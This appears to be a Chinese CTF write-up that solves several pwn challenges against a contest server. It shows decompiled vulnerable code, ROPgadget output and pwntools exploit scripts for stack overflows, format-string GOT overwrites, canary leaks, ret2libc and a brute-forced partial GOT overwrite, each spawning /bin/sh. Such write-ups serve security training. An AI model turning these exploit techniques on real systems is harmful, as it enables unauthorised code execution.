题目提供nc一个,连接后发现是让数学计算20次,提供的内容如下。
I have 20 tests
![0] num_1 = 622, num_2 = 950
I can't calculate the expression 'num_1 + num_2'.
input your answer:
利用脚本将num1和num2提取出来,相加发送回去,脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
r = remote('81.69.0.47',1111)
def getnum():
r.recvuntil('num_1 = ')
num1 = r.recvuntil(',')[:-1]
r.recvuntil('num_2 = ')
num2 = r.recvuntil('\n')[:-1]
return int(num1)+int(num2)
for i in range(20):
r.sendline(str(getnum()))
r.interactive()
执行得到flag
Ohhhhhh! Thank you my friend. I can give you a gift.
SYC{O==[]=====>l1u_zhu@ng}
题目提供elf文件一个,打开后按f5看到main()函数调用了gets()有明显的栈溢出漏洞。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v4; // [rsp+0h] [rbp-70h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("bro zhuang:\nhi,My house is quite big, Do you want to play with me?");
gets(&v4, 0LL);
puts("liu zhuang:\nThere are some nice things in my room");
return 0LL;
}
题目提供了后门函数,但有使用条件。
int sub_40076B()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
v2 = rand();
__isoc99_scanf("%d", &v1);
result = v1;
if ( v2 == v1 )
result = system("/bin/sh");
return result;
}
利用栈溢出漏洞修改返回地址,直接跳到后门函数的system("/bin/sh");
的部分getshell。题目溢出点为112。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./pwn00')
gdb.attach(r,'b * 0x0400769')
else:
r = remote('81.69.0.47',1000)
elf = ELF('./pwn00')
r.sendline(cyclic(112)+p64(0xdeadbeef)+p64(0x40079b))
r.interactive()
获得flagSYC{0H_you_b3come_A_PWNer}
题目提供elf文件一个,打开后按f5看到main()函数有明显的格式化字符串漏洞。
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-50h]
__int64 i; // [rsp+8h] [rbp-48h]
char buf; // [rsp+10h] [rbp-40h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
seed = time(0LL);
puts("hello world!");
read(0, &buf, 0x30uLL);
printf(&buf, &buf);
srand(seed);
for ( i = 0LL; i <= 15; ++i )
{
__isoc99_scanf("%ld", &v4);
if ( rand() != v4 )
{
puts("hei! random number!!!");
exit(0);
}
}
puts("running sh");
system("/bin/sh");
return 0;
}
利用checksec工具查看该程序并未开启RELRO,可以修改got表。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
修改思路,直接利用格式化字符串漏洞将srand()的got表改成system("/bin/sh");
的地址。通过测试printf()从第八个参数可以修改,脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./fmt')
gdb.attach(r,'b * 0x0401266')
else:
r = remote('81.69.0.47',2222)
elf = ELF('./fmt')
#r.sendline('aaaaaaaa'+'%8$p')
r.sendline('%'+str(0x12d4)+'c%10$hn'+'aaaa'+p64(0x404040))
r.interactive()
获得flagSYC{FFFFFFmtttttt_ssssoooo_g0000d}
题目提供信息如下。
简介:
题目地址: http://81.69.0.47:5555/
提示:
flag在/home/ctf/flag, 不允许出现system, 出现runtime error则重新run一下
网站为一个具有编译器功能的网站。
利用c语言获得flag并输出,dasctf曾出过一个比这个限制还多的c,直接粘贴进去获得flag。
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
char s[60];
char ss[30];
char *t = "/hom";
char *tt = "e/c";
char *ttt = "tf/fla";
char *tttt = "g";
int main()
{
int in, out, fl;
char buffer[1024];
sprintf(ss, "%s%s%s%s", t, tt,ttt,tttt);
puts(ss);
out = open(ss,O_RDONLY);
read(out, s, 40);
write(1,s,40);
return 0;
}
获得输出
your output:
SYC{C0din9_ls_E4sy_T0_You} /home/ctf/flag
题目提供elf文件一个,打开后按f5看到main()函数,main()调用的sub_40072A()函数有明显的栈溢出漏洞。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_4006E7(a1, a2, a3);
puts("welcome to my world!");
sub_40072A();
return 0LL;
}
sub_40072A()函数
unsigned __int64 sub_40072A()
{
signed int i; // [rsp+Ch] [rbp-74h]
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("I have some secret in here.");
puts("may be you know it,plz tell me.");
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200uLL);
puts(&buf);
}
return __readfsqword(0x28u) ^ v3;
}
但是该题目存在canary保护,canary的值被覆盖后程序将报错退出,所以想覆盖返回地址必须要先泄露出canary的值,并在覆盖时将canary值放在对应位置。函数内puts()函数会连续输出两次栈内的信息,并且puts()函数会一直输出地址的内容直到\x00
。利用第一次输入,将canary末尾的00覆盖成0a,这样在puts()时会将canary的值输出出来,利用u64()函数转换为对应数字,脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./baby_canary')
gdb.attach(r,'b * 0x0400789')
else:
r=remote('81.69.0.47',3333)
elf = ELF('./baby_canary')
r.sendline(cyclic(0x68))
r.recvuntil('zaab')
canary = u64(r.recv(8))-0xa
print hex(canary)
r.interactive()
该程序的sub_4007E0()函数提供了system()函数和/bin/sh
字符串。
int sub_4007E0()
{
puts("/bin/sh");
return system("echo 'hello world'");
}
利用ROP_gadget工具找到控制rdi寄存器的代码段。
$ ROPgadget --binary baby_canary --only 'pop|ret'
Gadgets information
============================================================
0x000000000040086c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop r14 ; pop r15 ; ret
0x0000000000400872 : pop r15 ; ret
0x000000000040086b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040086f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400668 : pop rbp ; ret
0x0000000000400873 : pop rdi ; ret
0x0000000000400871 : pop rsi ; pop r15 ; ret
0x000000000040086d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : ret
Unique gadgets found: 11
最终脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./baby_canary')
gdb.attach(r,'b * 0x0400789')
else:
r=remote('81.69.0.47',3333)
elf = ELF('./baby_canary')
rdi = 0x400873
system = elf.symbols['system']
binsh = elf.search('/bin/sh').next()
r.sendline(cyclic(0x68))
r.recvuntil('zaab')
canary = u64(r.recv(8))-0xa
print hex(canary)
print hex(u64(r.recv(6)+'\x00\x00'))
r.sendline(cyclic(0x68)+p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system))
r.interactive()
获得flagSYC{C4nary_1s_s0_Funny!!!}
题目提供elf文件一个,打开后按f5看到main()函数有明显的栈溢出漏洞,但是题目并没有提供system()函数,所以我们需要先泄露libc地址,利用libc内的system()函数和/bin/sh
字符串来获取系统权限。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-80h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
write(1, "please input: ", 0xEuLL);
read(0, &buf, 0x200uLL);
return 0;
}
题目只提供了write()函数作为输出,所以只要要控制rsi寄存器内的参数。利用ROP_gadget工具找到控制rdi、rsi的汇编代码段。通过计算其溢出点为0x80
。
$ ROPgadget --binary pwn111 --only 'pop|ret'
Gadgets information
============================================================
0x000000000040122c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040122e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401230 : pop r14 ; pop r15 ; ret
0x0000000000401232 : pop r15 ; ret
0x000000000040122b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040122f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040112d : pop rbp ; ret
0x0000000000401233 : pop rdi ; ret
0x0000000000401231 : pop rsi ; pop r15 ; ret
0x000000000040122d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
Unique gadgets found: 11
由于pop rsi
后,还有pop r15
才能ret
,所以我们需要在pop r15
的时候放入一个0
,泄露libc基地址的脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./pwn111')
gdb.attach(r,'b * 0x04011C5')
else:
r=remote('81.69.0.47',1122)
elf = ELF('./pwn111')
rdi = 0x401233
rsir15 = 0x401231
main = elf.symbols['main']
write = elf.symbols['write']
libc_start_main_got = elf.got['__libc_start_main']
r.recvuntil('input: ')
r.sendline(cyclic(128)+p64(0xdeadbeef)+p64(rdi)+p64(1)+p64(rsir15)+p64(libc_start_main_got)+p64(0)+p64(write)+p64(main))
libc_addr = u64(r.recv(8))-libc.symbols['__libc_start_main']
print(libc_addr)
r.interactive()
题目提供了libc库文件,可以直接加载该文件获得system()函数和/bin/sh
字符串的偏移。最终脚本如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./pwn111')
gdb.attach(r,'b * 0x04011C5')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('81.69.0.47',1122)
elf = ELF('./pwn111')
libc = ELF('./libc')
rdi = 0x401233
rsir15 = 0x401231
main = elf.symbols['main']
write = elf.symbols['write']
libc_start_main_got = elf.got['__libc_start_main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
r.recvuntil('input: ')
r.sendline(cyclic(128)+p64(0xdeadbeef)+p64(rdi)+p64(1)+p64(rsir15)+p64(libc_start_main_got)+p64(0)+p64(write)+p64(main))
libc_addr = u64(r.recv(8))-libc.symbols['__libc_start_main']
system += libc_addr
binsh += libc_addr
r.sendline(cyclic(128)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(system))
r.interactive()
获得flagSYC{C0n9r4tulat1on_Y0u_F1nd_how2Rop}
题目提供elf文件和libc文件各一个。用IDA打开发现程序只调用了read()、realpath()、setvbuf()函数,没有任何能够输出的函数,推测为ret2dlx64。但是!如果题目有非常规做法,我绝不会用常规做法去解一道题的!
由于read()函数为该程序唯一输入程序,不考虑对其下手。剩下有realpath()函数和setvbuf()函数,realpath()函数为比较高级的函数,其附近的函数不好利用,而根据提供的libc库文件发现setvbuf()函数距离puts()函数非常的近,考虑用read()函数构造ROP修改setvbuf()got表的后两位,将其修改为puts()函数,由于修改了倒数第二位,所以每次只有1/16的几率修改成功。
脚本如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
while True:
try:
r=remote('81.69.0.47',2212)
elf = ELF('./pwn222')
libc = ELF('./libc')
rdi = 0x401233
rsir15 = 0x401231
leave = 0x4011aa
bss = 0x404500
setvbuf_got = elf.got['setvbuf']
read = elf.symbols['read']
fake_puts = elf.symbols['setvbuf']
read_got = elf.got['read']
print hex(setvbuf_got)
#r.sendline(cyclic(32)+p64(bss-8)+p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0))
make_puts = p64(rdi)+p64(0)+p64(rsir15)+p64(setvbuf_got)+p64(0)+p64(read)
leak_read = p64(rdi)+p64(read_got)+p64(fake_puts)
move_stack = p64(rdi)+p64(0)+p64(rsir15)+p64(bss)+p64(0)+p64(read)+p64(leave)
exp = make_puts + leak_read + move_stack
r.sendline(cyclic(32)+p64(bss-8)+exp)
sleep(1)
r.send(p16(0xf6a0))
libc_addr = u64(r.recv(6)+'\x00\x00') - libc.symbols['read']
system = libc_addr + libc.symbols['system']
binsh = libc_addr + libc.search('/bin/sh').next()
r.sendline(p64(rdi)+p64(binsh)+p64(system))
sleep(1)
r.sendline('cat flag')
r.interactive()
except:
pass
得到结果
[*] Interrupted
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[+] Opening connection to 81.69.0.47 on port 2212: Done
0x404028
[*] Switching to interactive mode
SYC{super_r0p_do_not_t41k}
全部评论 (共 1 条评论)